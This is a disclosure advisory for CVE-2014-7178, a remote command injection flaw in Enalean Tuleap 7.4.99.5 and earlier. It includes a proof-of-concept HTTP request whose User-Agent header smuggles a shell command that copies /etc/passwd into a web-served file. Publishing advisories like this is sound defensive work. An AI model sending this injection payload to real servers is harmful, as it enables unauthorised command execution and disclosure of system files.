CVE-2014-7178

Vulnerability title: Tuleap <= 7.4.99.5 Remote Command Execution in Enalean Tuleap
CVE: CVE-2014-7178
Vendor: Enalean
Product: Tuleap
Affected version: 7.4.99.5 and earlier
Fixed version: 7.5
Reported by: Jerzy Kramarz

Details:

Tuleap does not validate the syntax of the requests submitted to SVN handler pages in order to validate weather request passed to passthru() function are introducing any extra parameters that would be executed in the content of the application.

This vulnerability can be exploited by external attackers to introduce external commands into the workflow of the application that would execute them as shown on the attached Proof Of Concept code below.

After registering with the application and sending a request similar to the one below the vulnerability can be triggered:


GET /svn/viewvc.php/?roottype=svn&root=t11 HTTP/1.1
Host: [IP]
User-Agent: M" && cat /etc/passwd > /usr/share/codendi/src/www/passwd.txt && "ozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://[IP]/svn/?group_id=102
Cookie: PHPSESSID=2uqjkd0iupn84gigi4e1tekg95; TULEAP_session_hash=362a9e41d1a93c8f195db4ccc6698ef5
Connection: keep-alive
Cache-Control: max-age=0


Note: In order to exploit this vulnerability a user needs to be in position to see SVN repository.


Further details at:

https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-7178/

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